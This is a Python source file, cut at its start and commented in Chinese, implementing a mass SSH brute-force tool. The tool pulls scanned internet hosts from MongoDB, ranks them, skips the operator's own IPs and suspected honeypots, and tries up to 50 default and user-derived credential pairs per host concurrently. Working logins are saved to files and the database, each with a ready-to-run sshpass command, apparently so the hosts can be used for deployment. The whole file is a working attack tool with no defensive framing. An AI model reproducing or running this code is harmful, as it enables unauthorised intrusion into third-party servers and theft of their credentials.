|
|
b_limit = max_targets * 2 if max_targets > 0 else 10000 # 多取一些,因为有跳过
|
|||
|
|
cursor = coll.find(query_b, light_projection).sort([("deploy_score", -1), ("ssh_difficulty", 1)]).limit(b_limit)
|
|||
|
|
for doc in cursor:
|
|||
|
|
if doc["ip"] in seen_ips or _should_skip(doc):
|
|||
|
|
continue
|
|||
|
|
doc["_grade"] = "B"
|
|||
|
|
doc["_grade_priority"] = 2
|
|||
|
|
targets.append(doc)
|
|||
|
|
stats["B"] += 1
|
|||
|
|
if max_targets > 0 and len(targets) >= max_targets:
|
|||
|
|
break
|
|||
|
|
|
|||
|
|
# ── C 级(可选)──
|
|||
|
|
if "C" in level.upper():
|
|||
|
|
query_c = {
|
|||
|
|
"ssh_open": True,
|
|||
|
|
"rdp_open": True,
|
|||
|
|
"vnc_open": True,
|
|||
|
|
"telnet_open": True,
|
|||
|
|
"baota_open": False, # 排除D级(全开放=蜜罐)
|
|||
|
|
**exclude_status,
|
|||
|
|
}
|
|||
|
|
seen_ips = {t["ip"] for t in targets}
|
|||
|
|
cursor = coll.find(query_c, light_projection).sort("deploy_score", -1).limit(5000)
|
|||
|
|
for doc in cursor:
|
|||
|
|
if doc["ip"] in seen_ips or _should_skip(doc):
|
|||
|
|
continue
|
|||
|
|
doc["_grade"] = "C"
|
|||
|
|
doc["_grade_priority"] = 3
|
|||
|
|
targets.append(doc)
|
|||
|
|
stats["C"] += 1
|
|||
|
|
|
|||
|
|
# 按 grade_priority 排序
|
|||
|
|
targets.sort(key=lambda x: (x.get("_grade_priority", 9), -x.get("deploy_score", 0)))
|
|||
|
|
|
|||
|
|
# 限制数量
|
|||
|
|
if max_targets > 0:
|
|||
|
|
targets = targets[:max_targets]
|
|||
|
|
|
|||
|
|
client.close()
|
|||
|
|
|
|||
|
|
print(f"\n{'='*60}")
|
|||
|
|
print(f" MongoDB 目标查询结果")
|
|||
|
|
print(f" 查询级别: {level}")
|
|||
|
|
print(f"{'='*60}")
|
|||
|
|
for grade, count in sorted(stats.items()):
|
|||
|
|
print(f" {grade}级: {count} 台")
|
|||
|
|
print(f" 总计: {len(targets)} 台")
|
|||
|
|
print(f" 排除自有平台: 老坑爹/黑科技")
|
|||
|
|
print(f" 排除自有IP: {len(OWN_INFRASTRUCTURE)} 个")
|
|||
|
|
print(f"{'='*60}")
|
|||
|
|
|
|||
|
|
return targets
|
|||
|
|
|
|||
|
|
|
|||
|
|
def _should_skip(doc):
|
|||
|
|
"""判断是否应该跳过此IP(含历史SSH标记过滤)"""
|
|||
|
|
ip = doc.get("ip", "")
|
|||
|
|
|
|||
|
|
# 排除自有IP
|
|||
|
|
if ip in OWN_INFRASTRUCTURE:
|
|||
|
|
return True
|
|||
|
|
|
|||
|
|
# 排除自有平台来源
|
|||
|
|
source_cols = doc.get("source_cols", [])
|
|||
|
|
if is_own_platform(source_cols):
|
|||
|
|
return True
|
|||
|
|
|
|||
|
|
# 排除嵌入式(dropbear)— 不适合部署
|
|||
|
|
os_guess = doc.get("os_guess", "")
|
|||
|
|
if "嵌入式" in os_guess and doc.get("_grade_priority", 0) == 0:
|
|||
|
|
return True
|
|||
|
|
|
|||
|
|
# ═══ 过滤已标记的 IP(历史SSH结果)═══
|
|||
|
|
ssh_status = doc.get("ssh_brute_status", "")
|
|||
|
|
if ssh_status in ("unreachable", "refused", "success"):
|
|||
|
|
# unreachable / refused → 已确认不可达,跳过
|
|||
|
|
# success → 已登录成功,无需重复
|
|||
|
|
return True
|
|||
|
|
|
|||
|
|
return False
|
|||
|
|
|
|||
|
|
|
|||
|
|
# =====================================================
|
|||
|
|
# 异步 SSH 暴力破解引擎
|
|||
|
|
# =====================================================
|
|||
|
|
|
|||
|
|
@dataclass
|
|||
|
|
class BruteResult:
|
|||
|
|
ip: str
|
|||
|
|
port: int
|
|||
|
|
username: str
|
|||
|
|
password: str
|
|||
|
|
success: bool
|
|||
|
|
banner: str = ""
|
|||
|
|
os_info: str = ""
|
|||
|
|
grade: str = ""
|
|||
|
|
os_guess: str = ""
|
|||
|
|
ssh_version: str = ""
|
|||
|
|
error: str = ""
|
|||
|
|
timestamp: str = ""
|
|||
|
|
attempt_count: int = 0
|
|||
|
|
|
|||
|
|
|
|||
|
|
class MongoSmartBruter:
|
|||
|
|
"""MongoDB 智能暴力破解器"""
|
|||
|
|
|
|||
|
|
def __init__(self, concurrency=DEFAULT_CONCURRENCY, timeout=DEFAULT_TIMEOUT,
|
|||
|
|
delay=DEFAULT_DELAY, output_dir="./results"):
|
|||
|
|
self.concurrency = concurrency
|
|||
|
|
self.timeout = timeout
|
|||
|
|
self.delay = delay
|
|||
|
|
self.output_dir = Path(output_dir)
|
|||
|
|
self.output_dir.mkdir(parents=True, exist_ok=True)
|
|||
|
|
|
|||
|
|
# 统计
|
|||
|
|
self.total_attempts = 0
|
|||
|
|
self.total_hosts = 0
|
|||
|
|
self.success_count = 0
|
|||
|
|
self.fail_count = 0
|
|||
|
|
self.error_count = 0
|
|||
|
|
self.skipped_count = 0
|
|||
|
|
self.start_time = None
|
|||
|
|
|
|||
|
|
# 结果
|
|||
|
|
self.found_creds: list[BruteResult] = []
|
|||
|
|
self.found_ips = set()
|
|||
|
|
|
|||
|
|
# 信号量
|
|||
|
|
self.semaphore = None
|
|||
|
|
|
|||
|
|
self.logger = logging.getLogger("MongoSmartBruter")
|
|||
|
|
|
|||
|
|
async def try_ssh_login(self, ip, port, username, password):
|
|||
|
|
"""SSH登录尝试"""
|
|||
|
|
result = BruteResult(
|
|||
|
|
ip=ip, port=port, username=username, password=password,
|
|||
|
|
success=False, timestamp=datetime.now().isoformat()
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
try:
|
|||
|
|
import asyncssh
|
|||
|
|
async with asyncssh.connect(
|
|||
|
|
ip, port=port,
|
|||
|
|
username=username,
|
|||
|
|
password=password,
|
|||
|
|
known_hosts=None,
|
|||
|
|
login_timeout=self.timeout,
|
|||
|
|
client_keys=[],
|
|||
|
|
kex_algs=["ecdh-sha2-nistp256", "diffie-hellman-group14-sha256",
|
|||
|
|
"diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256",
|
|||
|
|
"diffie-hellman-group1-sha1"],
|
|||
|
|
encryption_algs=["aes128-ctr", "aes256-ctr", "aes128-cbc", "aes256-cbc",
|
|||
|
|
"3des-cbc"],
|
|||
|
|
server_host_key_algs=["ssh-rsa", "rsa-sha2-256", "rsa-sha2-512",
|
|||
|
|
"ecdsa-sha2-nistp256", "ssh-ed25519"],
|
|||
|
|
) as conn:
|
|||
|
|
try:
|
|||
|
|
r = await asyncio.wait_for(
|
|||
|
|
conn.run("uname -a 2>/dev/null || hostname", check=False),
|
|||
|
|
timeout=5
|
|||
|
|
)
|
|||
|
|
result.banner = (r.stdout or "").strip()[:200]
|
|||
|
|
except Exception:
|
|||
|
|
result.banner = "login_ok"
|
|||
|
|
result.success = True
|
|||
|
|
return result
|
|||
|
|
|
|||
|
|
except ImportError:
|
|||
|
|
return await self._try_paramiko(ip, port, username, password, result)
|
|||
|
|
except Exception as e:
|
|||
|
|
ename = type(e).__name__
|
|||
|
|
if "PermissionDenied" in ename or "auth" in str(e).lower():
|
|||
|
|
result.error = "auth_failed"
|
|||
|
|
elif "Timeout" in ename or "timeout" in str(e).lower():
|
|||
|
|
result.error = "timeout"
|
|||
|
|
elif "ConnectionLost" in ename or "ConnectionRefused" in ename:
|
|||
|
|
result.error = "connection_error"
|
|||
|
|
else:
|
|||
|
|
result.error = f"{ename}: {str(e)[:80]}"
|
|||
|
|
return result
|
|||
|
|
|
|||
|
|
async def _try_paramiko(self, ip, port, username, password, result):
|
|||
|
|
"""Paramiko 备选"""
|
|||
|
|
import paramiko
|
|||
|
|
|
|||
|
|
def _connect():
|
|||
|
|
client = paramiko.SSHClient()
|
|||
|
|
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
|||
|
|
try:
|
|||
|
|
client.connect(ip, port=port, username=username, password=password,
|
|||
|
|
timeout=self.timeout, allow_agent=False, look_for_keys=False,
|
|||
|
|
banner_timeout=self.timeout, auth_timeout=self.timeout)
|
|||
|
|
try:
|
|||
|
|
_, stdout, _ = client.exec_command("uname -a", timeout=5)
|
|||
|
|
result.banner = stdout.read().decode("utf-8", errors="ignore").strip()[:200]
|
|||
|
|
except Exception:
|
|||
|
|
result.banner = "login_ok"
|
|||
|
|
result.success = True
|
|||
|
|
except paramiko.AuthenticationException:
|
|||
|
|
result.error = "auth_failed"
|
|||
|
|
except Exception as e:
|
|||
|
|
result.error = f"{type(e).__name__}: {str(e)[:80]}"
|
|||
|
|
finally:
|
|||
|
|
client.close()
|
|||
|
|
return result
|
|||
|
|
|
|||
|
|
loop = asyncio.get_event_loop()
|
|||
|
|
return await loop.run_in_executor(None, _connect)
|
|||
|
|
|
|||
|
|
async def brute_single_host(self, doc):
|
|||
|
|
"""对单台主机进行智能破解"""
|
|||
|
|
ip = doc["ip"]
|
|||
|
|
ssh_port = doc.get("ssh_port") or 22
|
|||
|
|
grade = doc.get("_grade", "?")
|
|||
|
|
os_guess = doc.get("os_guess", "Unknown")
|
|||
|
|
ssh_version = doc.get("ssh_version", "")
|
|||
|
|
ssh_banner = doc.get("ssh_banner", "")
|
|||
|
|
|
|||
|
|
if ip in self.found_ips:
|
|||
|
|
return
|
|||
|
|
|
|||
|
|
# 1) 用户数据已在 run() 中预批量加载到 doc["users"]
|
|||
|
|
user_creds = get_user_derived_credentials(doc)
|
|||
|
|
|
|||
|
|
# 2) 按设备类型生成标准凭证
|
|||
|
|
device_creds = get_smart_credentials(os_guess, ssh_version, ssh_banner)
|
|||
|
|
|
|||
|
|
# 3) 合并去重(按 priority 排序,设备默认P0-P2先试,用户派生P3+补充)
|
|||
|
|
seen_keys = set()
|
|||
|
|
creds = []
|
|||
|
|
for c in device_creds + user_creds:
|
|||
|
|
key = (c[0], c[1])
|
|||
|
|
if key not in seen_keys:
|
|||
|
|
seen_keys.add(key)
|
|||
|
|
creds.append(c)
|
|||
|
|
|
|||
|
|
# 4) 从已扫描记录的 login_suggestions 补充
|
|||
|
|
db_creds = doc.get("login_suggestions", {}).get("ssh", {}).get("try_credentials", [])
|
|||
|
|
for dc in db_creds:
|
|||
|
|
u = dc.get("username", "")
|
|||
|
|
p = dc.get("password", "")
|
|||
|
|
if u and "(hash:" not in p and (u, p) not in seen_keys:
|
|||
|
|
creds.append((u, p, 5, f"DB建议-{dc.get('note', '')}"))
|
|||
|
|
seen_keys.add((u, p))
|
|||
|
|
|
|||
|
|
# 按 priority 排序
|
|||
|
|
creds.sort(key=lambda x: x[2])
|
|||
|
|
|
|||
|
|
attempt_count = 0
|
|||
|
|
host_skipped = False
|
|||
|
|
consecutive_net_errors = 0
|
|||
|
|
user_cred_count = len([c for c in creds if c[2] >= 3])
|
|||
|
|
max_per_host = 50 # 每台主机最多尝试 50 组凭证(优先级前50)
|
|||
|
|
|
|||
|
|
for username, password, priority, note in creds[:max_per_host]:
|
|||
|
|
if ip in self.found_ips:
|
|||
|
|
break
|
|||
|
|
|
|||
|
|
self.total_attempts += 1
|
|||
|
|
attempt_count += 1
|
|||
|
|
|
|||
|
|
result = await self.try_ssh_login(ip, ssh_port, username, password)
|
|||
|
|
result.grade = grade
|
|||
|
|
result.os_guess = os_guess
|
|||
|
|
result.ssh_version = ssh_version
|
|||
|
|
result.attempt_count = attempt_count
|
|||
|
|
|
|||
|
|
if result.success:
|
|||
|
|
self.success_count += 1
|
|||
|
|
self.found_creds.append(result)
|
|||
|
|
self.found_ips.add(ip)
|
|||
|
|
|
|||
|
|
print(f"\033[92m[+] {grade}级 成功! {ip}:{ssh_port} "
|
|||
|
|
f"{username}:{password} "
|
|||
|
|
f"({os_guess}) 用户凭证:{user_cred_count}条 "
|
|||
|
|
f"Banner: {result.banner[:50]}\033[0m")
|
|||
|
|
|
|||
|
|
self._save_found(result)
|
|||
|
|
self._write_to_mongo(result, doc)
|
|||
|
|
self._mark_ssh_status(ip, "success", attempt_count, len(creds[:max_per_host]))
|
|||
|
|
break
|
|||
|
|
else:
|
|||
|
|
self.fail_count += 1
|
|||
|
|
if result.error and "auth_failed" in result.error:
|
|||
|
|
# 认证失败=连接正常,重置网络错误计数
|
|||
|
|
consecutive_net_errors = 0
|
|||
|
|
elif result.error:
|
|||
|
|
self.error_count += 1
|
|||
|
|
if "timeout" in result.error or "connection" in result.error:
|
|||
|
|
consecutive_net_errors += 1
|
|||
|
|
if consecutive_net_errors >= 3:
|
|||
|
|
host_skipped = True
|
|||
|
|
self.hosts_skipped = getattr(self, 'hosts_skipped', 0) + 1
|
|||
|
|
break
|
|||
|
|
else:
|
|||
|
|
await asyncio.sleep(0.5)
|
|||
|
|
continue
|
|||
|
|
elif "refused" in result.error.lower():
|
|||
|
|
host_skipped = True
|
|||
|
|
self.hosts_skipped = getattr(self, 'hosts_skipped', 0) + 1
|
|||
|
|
break
|
|||
|
|
|
|||
|
|
if self.delay > 0:
|
|||
|
|
await asyncio.sleep(self.delay)
|
|||
|
|
|
|||
|
|
self.hosts_done = getattr(self, 'hosts_done', 0) + 1
|
|||
|
|
|
|||
|
|
# ═══ 写回 SSH 状态标记到 MongoDB(优化后续扫描)═══
|
|||
|
|
if ip not in self.found_ips:
|
|||
|
|
if host_skipped and consecutive_net_errors >= 3:
|
|||
|
|
ssh_mark = "unreachable" # SSH端口不可达,后续永久跳过
|
|||
|
|
elif host_skipped:
|
|||
|
|
ssh_mark = "refused" # 连接被拒绝
|
|||
|
|
elif attempt_count > 0:
|
|||
|
|
ssh_mark = "auth_failed" # SSH可达但所有凭证失败
|
|||
|
|
else:
|
|||
|
|
ssh_mark = "skipped"
|
|||
|
|
self._mark_ssh_status(ip, ssh_mark, attempt_count, len(creds[:max_per_host]))
|
|||
|
|
|
|||
|
|
# 每处理完 10 台或每 50 次尝试输出进度
|
|||
|
|
if self.hosts_done % 10 == 0 or self.total_attempts % 50 == 0:
|
|||
|
|
self._print_progress()
|
|||
|
|
|
|||
|
|
def _mark_ssh_status(self, ip, status, attempts, total_creds):
|
|||
|
|
"""在 分布式矩阵IP_已扫描 中标记 SSH 尝试状态,优化后续扫描"""
|
|||
|
|
try:
|
|||
|
|
import pymongo
|
|||
|
|
client = pymongo.MongoClient(MONGO_URI, serverSelectionTimeoutMS=2000)
|
|||
|
|
client[MONGO_DB][MONGO_COLLECTION].update_one(
|
|||
|
|
{"ip": ip},
|
|||
|
|
{"$set": {
|
|||
|
|
"ssh_brute_status": status, # unreachable/refused/auth_failed/success
|
|||
|
|
"ssh_brute_attempts": attempts, # 实际尝试次数
|
|||
|
|
"ssh_brute_total_creds": total_creds, # 可用凭证数
|
|||
|
|
"ssh_brute_time": datetime.now().isoformat(),
|
|||
|
|
}}
|
|||
|
|
)
|
|||
|
|
client.close()
|
|||
|
|
except Exception:
|
|||
|
|
pass
|
|||
|
|
|
|||
|
|
def _print_progress(self):
|
|||
|
|
elapsed = time.time() - self.start_time
|
|||
|
|
rate = self.total_attempts / elapsed if elapsed > 0 else 0
|
|||
|
|
hosts_done = getattr(self, 'hosts_done', 0)
|
|||
|
|
hosts_skipped = getattr(self, 'hosts_skipped', 0)
|
|||
|
|
total_hosts = getattr(self, 'total_hosts', 0)
|
|||
|
|
print(f"\n[*] 主机: {hosts_done}/{total_hosts} | "
|
|||
|
|
f"尝试: {self.total_attempts} | "
|
|||
|
|
f"成功: {self.success_count} | "
|
|||
|
|
f"跳过: {hosts_skipped} | "
|
|||
|
|
f"错误: {self.error_count} | "
|
|||
|
|
f"速率: {rate:.0f}/s | "
|
|||
|
|
f"耗时: {elapsed:.0f}s", flush=True)
|
|||
|
|
|
|||
|
|
def _save_found(self, result: BruteResult):
|
|||
|
|
"""保存到本地文件"""
|
|||
|
|
# JSON
|
|||
|
|
json_path = self.output_dir / "found_credentials.json"
|
|||
|
|
data = []
|
|||
|
|
if json_path.exists():
|
|||
|
|
try:
|
|||
|
|
data = json.loads(json_path.read_text())
|
|||
|
|
except Exception:
|
|||
|
|
data = []
|
|||
|
|
data.append(asdict(result))
|
|||
|
|
json_path.write_text(json.dumps(data, indent=2, ensure_ascii=False))
|
|||
|
|
|
|||
|
|
# CSV
|
|||
|
|
csv_path = self.output_dir / "found_credentials.csv"
|
|||
|
|
write_header = not csv_path.exists()
|
|||
|
|
with open(csv_path, "a", newline="", encoding="utf-8") as f:
|
|||
|
|
writer = csv.writer(f)
|
|||
|
|
if write_header:
|
|||
|
|
writer.writerow(["grade", "ip", "port", "username", "password",
|
|||
|
|
"os_guess", "ssh_version", "banner", "attempts", "timestamp"])
|
|||
|
|
writer.writerow([result.grade, result.ip, result.port, result.username,
|
|||
|
|
result.password, result.os_guess, result.ssh_version,
|
|||
|
|
result.banner, result.attempt_count, result.timestamp])
|
|||
|
|
|
|||
|
|
def _write_to_mongo(self, result: BruteResult, original_doc):
|
|||
|
|
"""成功结果写回 MongoDB"""
|
|||
|
|
try:
|
|||
|
|
import pymongo
|
|||
|
|
client = pymongo.MongoClient(MONGO_URI)
|
|||
|
|
db = client[MONGO_DB]
|
|||
|
|
|
|||
|
|
# 写入已登录集合
|
|||
|
|
login_doc = {
|
|||
|
|
"ip": result.ip,
|
|||
|
|
"port": result.port,
|
|||
|
|
"username": result.username,
|
|||
|
|
"password": result.password,
|
|||
|
|
"banner": result.banner,
|
|||
|
|
"grade": result.grade,
|
|||
|
|
"os_guess": result.os_guess,
|
|||
|
|
"ssh_version": result.ssh_version,
|
|||
|
|
"attempt_count": result.attempt_count,
|
|||
|
|
"login_time": datetime.now(),
|
|||
|
|
"deploy_score": original_doc.get("deploy_score", 0),
|
|||
|
|
"source_cols": original_doc.get("source_cols", []),
|
|||
|
|
"user_count": original_doc.get("user_count", 0),
|
|||
|
|
"quick_ssh_cmd": f"sshpass -p '{result.password}' ssh -o StrictHostKeyChecking=no {result.username}@{result.ip} -p {result.port}",
|
|||
|
|
}
|
|||
|
|
db[MONGO_RESULT_COLLECTION].update_one(
|
|||
|
|
{"ip": result.ip},
|
|||
|
|
{"$set": login_doc},
|
|||
|
|
upsert=True
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
# 更新已扫描集合的状态
|
|||
|
|
db[MONGO_COLLECTION].update_one(
|
|||
|
|
{"ip": result.ip},
|
|||
|
|
{"$set": {
|
|||
|
|
"brute_status": "success",
|
|||
|
|
"brute_username": result.username,
|
|||
|
|
"brute_password": result.password,
|
|||
|
|
"brute_time": datetime.now().isoformat(),
|
|||
|
|
}}
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
client.close()
|
|||
|
|
except Exception as e:
|
|||
|
|
self.logger.warning(f"MongoDB写入失败: {e}")
|
|||
|
|
|
|||
|
|
async def run(self, targets):
|
|||
|
|
"""主运行"""
|
|||
|
|
self.semaphore = asyncio.Semaphore(self.concurrency)
|
|||
|
|
self.start_time = time.time()
|
|||
|
|
self.total_hosts = len(targets)
|
|||
|
|
|
|||
|
|
# 统计各级别
|
|||
|
|
grade_counts = defaultdict(int)
|
|||
|
|
for t in targets:
|
|||
|
|
grade_counts[t.get("_grade", "?")] += 1
|
|||
|
|
|
|||
|
|
print(f"\n{'='*60}")
|
|||
|
|
print(f" MongoDB 智能 SSH 暴力破解器 v3.0")
|
|||
|
|
print(f"{'='*60}")
|
|||
|
|
print(f" 目标: {len(targets)} 台主机")
|
|||
|
|
for g in ["S", "A", "B", "C"]:
|
|||
|
|
if grade_counts[g] > 0:
|
|||
|
|
print(f" {g}级: {grade_counts[g]} 台")
|
|||
|
|
print(f" 并发: {self.concurrency}")
|
|||
|
|
print(f" 超时: {self.timeout}s")
|
|||
|
|
print(f" 排除: 老坑爹/黑科技(自有平台) + {len(OWN_INFRASTRUCTURE)}个自有IP")
|
|||
|
|
print(f"{'='*60}")
|
|||
|
|
|
|||
|
|
# ── 预批量加载用户数据(避免破解时逐个查库阻塞事件循环)──
|
|||
|
|
print(f"\n[*] 预加载 {len(targets)} 个IP的用户数据...", end=" ")
|
|||
|
|
try:
|
|||
|
|
import pymongo
|
|||
|
|
_client = pymongo.MongoClient(MONGO_URI, serverSelectionTimeoutMS=5000)
|
|||
|
|
_coll = _client[MONGO_DB][MONGO_COLLECTION]
|
|||
|
|
target_ips = [t["ip"] for t in targets]
|
|||
|
|
# 批量查询:只取 users 和 user_count
|
|||
|
|
user_docs = {}
|
|||
|
|
for batch_start in range(0, len(target_ips), 500):
|
|||
|
|
batch_ips = target_ips[batch_start:batch_start+500]
|
|||
|
|
for udoc in _coll.find(
|
|||
|
|
{"ip": {"$in": batch_ips}},
|
|||
|
|
{"ip": 1, "users": 1, "user_count": 1}
|
|||
|
|
):
|
|||
|
|
if udoc.get("users"):
|
|||
|
|
user_docs[udoc["ip"]] = {
|
|||
|
|
"users": udoc["users"],
|
|||
|
|
"user_count": udoc.get("user_count", 0)
|
|||
|
|
}
|
|||
|
|
_client.close()
|
|||
|
|
# 把用户数据注入 targets
|
|||
|
|
users_found = 0
|
|||
|
|
for t in targets:
|
|||
|
|
ud = user_docs.get(t["ip"])
|
|||
|
|
if ud:
|
|||
|
|
t["users"] = ud["users"]
|
|||
|
|
t["user_count"] = ud["user_count"]
|
|||
|
|
users_found += 1
|
|||
|
|
print(f"完成! {users_found}/{len(targets)} 个IP有关联用户")
|
|||
|
|
except Exception as e:
|
|||
|
|
print(f"失败({e}), 将仅用设备默认凭证")
|
|||
|
|
|
|||
|
|
# 主机级并发控制(不在凭证级用信号量,避免事件循环阻塞)
|
|||
|
|
host_semaphore = asyncio.Semaphore(self.concurrency)
|
|||
|
|
|
|||
|
|
async def limited_brute(t):
|
|||
|
|
async with host_semaphore:
|
|||
|
|
return await self.brute_single_host(t)
|
|||
|
|
|
|||
|
|
tasks = [limited_brute(t) for t in targets]
|
|||
|
|
await asyncio.gather(*tasks, return_exceptions=True)
|
|||
|
|
|
|||
|
|
# 统计
|
|||
|
|
elapsed = time.time() - self.start_time
|
|||
|
|
print(f"\n\n{'='*60}")
|
|||
|
|
print(f" 扫描完成!")
|
|||
|
|
print(f" 目标主机: {self.total_hosts}")
|
|||
|
|
print(f" 总尝试: {self.total_attempts}")
|
|||
|
|
print(f" 成功: {self.success_count}")
|
|||
|
|
print(f" 失败: {self.fail_count}")
|
|||
|
|
print(f" 错误: {self.error_count}")
|
|||
|
|
print(f" 耗时: {elapsed:.1f}s")
|
|||
|
|
print(f" 速率: {self.total_attempts / elapsed:.0f}/s" if elapsed > 0 else "")
|
|||
|
|
print(f" 成功率: {self.success_count / self.total_hosts * 100:.1f}%" if self.total_hosts > 0 else "")
|
|||
|
|
if self.found_creds:
|
|||
|
|
print(f"\n 成功凭证已保存:")
|
|||
|
|
print(f" 本地: {self.output_dir}/found_credentials.json")
|
|||
|
|
print(f" MongoDB: KR.{MONGO_RESULT_COLLECTION}")
|
|||
|
|
print(f"\n 成功IP一览:")
|
|||
|
|
for r in self.found_creds:
|
|||
|
|
print(f" [{r.grade}] {r.ip}:{r.port} {r.username}:{r.password} ({r.os_guess})")
|
|||
|
|
print(f"{'='*60}")
|
|||
|
|
|
|||
|
|
# 保存报告
|
|||
|
|
self._save_report(targets, elapsed)
|
|||
|
|
|
|||
|
|
def _save_report(self, targets, elapsed):
|
|||
|
|
report = {
|
|||
|
|
"scan_info": {
|
|||
|
|
"start_time": datetime.fromtimestamp(self.start_time).isoformat(),
|
|||
|
|
"elapsed_seconds": round(elapsed, 1),
|
|||
|
|
"total_targets": self.total_hosts,
|
|||
|
|
"total_attempts": self.total_attempts,
|
|||
|
|
"success_count": self.success_count,
|
|||
|
|
"fail_count": self.fail_count,
|
|||
|
|
"error_count": self.error_count,
|
|||
|
|
"concurrency": self.concurrency,
|
|||
|
|
"success_rate": f"{self.success_count / self.total_hosts * 100:.1f}%" if self.total_hosts > 0 else "0%",
|
|||
|
|
},
|
|||
|
|
"found_credentials": [asdict(r) for r in self.found_creds],
|
|||
|
|
"grade_stats": {
|
|||
|
|
grade: sum(1 for t in targets if t.get("_grade") == grade)
|
|||
|
|
for grade in ["S", "A", "B", "C"]
|
|||
|
|
},
|
|||
|
|
}
|
|||
|
|
report_path = self.output_dir / f"smart_brute_report_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
|
|||
|
|
report_path.write_text(json.dumps(report, indent=2, ensure_ascii=False))
|
|||
|
|
|
|||
|
|
|
|||
|
|
# =====================================================
|
|||
|
|
# 主函数
|
|||
|
|
# =====================================================
|
|||
|
|
|
|||
|
|
def main():
|
|||
|
|
parser = argparse.ArgumentParser(description="MongoDB智能SSH暴力破解器")
|
|||
|
|
parser.add_argument("--level", "-l", default="SA",
|
|||
|
|
help="目标级别: S/A/B/C 组合 (默认 SA)")
|
|||
|
|
parser.add_argument("--max-targets", "-m", type=int, default=0,
|
|||
|
|
help="最大目标数 (0=不限)")
|
|||
|
|
parser.add_argument("--concurrency", "-c", type=int, default=DEFAULT_CONCURRENCY,
|
|||
|
|
help=f"并发数 (默认 {DEFAULT_CONCURRENCY})")
|
|||
|
|
parser.add_argument("--timeout", type=int, default=DEFAULT_TIMEOUT,
|
|||
|
|
help=f"超时秒数 (默认 {DEFAULT_TIMEOUT})")
|
|||
|
|
parser.add_argument("--delay", type=float, default=DEFAULT_DELAY,
|
|||
|
|
help=f"尝试间隔 (默认 {DEFAULT_DELAY})")
|
|||
|
|
parser.add_argument("--output", "-o", default="./results",
|
|||
|
|
help="输出目录")
|
|||
|
|
parser.add_argument("--dry-run", action="store_true",
|
|||
|
|
help="试运行(只查询打印,不实际登录)")
|
|||
|
|
parser.add_argument("--verbose", "-v", action="store_true")
|
|||
|
|
|
|||
|
|
args = parser.parse_args()
|
|||
|
|
|
|||
|
|
logging.basicConfig(
|
|||
|
|
level=logging.DEBUG if args.verbose else logging.WARNING,
|
|||
|
|
format="%(asctime)s [%(levelname)s] %(message)s"
|
|||
|
|
)
|
|||
|
|
# asyncssh 日志太吵,静默
|
|||
|
|
logging.getLogger("asyncssh").setLevel(logging.WARNING)
|
|||
|
|
|
|||
|
|
# 查询目标
|
|||
|
|
targets = query_targets(level=args.level, max_targets=args.max_targets)
|
|||
|
|
|
|||
|
|
if not targets:
|
|||
|
|
print("[!] 无目标可破解")
|
|||
|
|
sys.exit(1)
|
|||
|
|
|
|||
|
|
if args.dry_run:
|
|||
|
|
print(f"\n[试运行] 前 20 个目标 (含用户派生凭证):")
|
|||
|
|
for i, t in enumerate(targets[:20]):
|
|||
|
|
ip = t['ip']
|
|||
|
|
user_creds = get_user_derived_credentials(t)
|
|||
|
|
device_creds = get_smart_credentials(t.get("os_guess", ""), t.get("ssh_version", ""), t.get("ssh_banner", ""))
|
|||
|
|
all_creds = sorted(set([(c[0],c[1],c[2],c[3]) for c in device_creds + user_creds]), key=lambda x: x[2])
|
|||
|
|
top5 = ", ".join(f"{c[0]}:{c[1]}({c[3][:10]})" for c in all_creds[:5])
|
|||
|
|
print(f" {i+1}. [{t.get('_grade')}] {t['ip']}:{t.get('ssh_port', 22)} "
|
|||
|
|
f"({t.get('os_guess', '?')}) "
|
|||
|
|
f"用户凭证:{len(user_creds)}条 设备凭证:{len(device_creds)}条")
|
|||
|
|
print(f" Top5: {top5}")
|
|||
|
|
print(f"\n ... 共 {len(targets)} 台")
|
|||
|
|
sys.exit(0)
|
|||
|
|
|
|||
|
|
# 实际破解
|
|||
|
|
bruter = MongoSmartBruter(
|
|||
|
|
concurrency=args.concurrency,
|
|||
|
|
timeout=args.timeout,
|
|||
|
|
delay=args.delay,
|
|||
|
|
output_dir=args.output,
|
|||
|
|
)
|
|||
|
|
asyncio.run(bruter.run(targets))
|
|||
|
|
|
|||
|
|
|
|||
|
|
if __name__ == "__main__":
|
|||
|
|
main()
|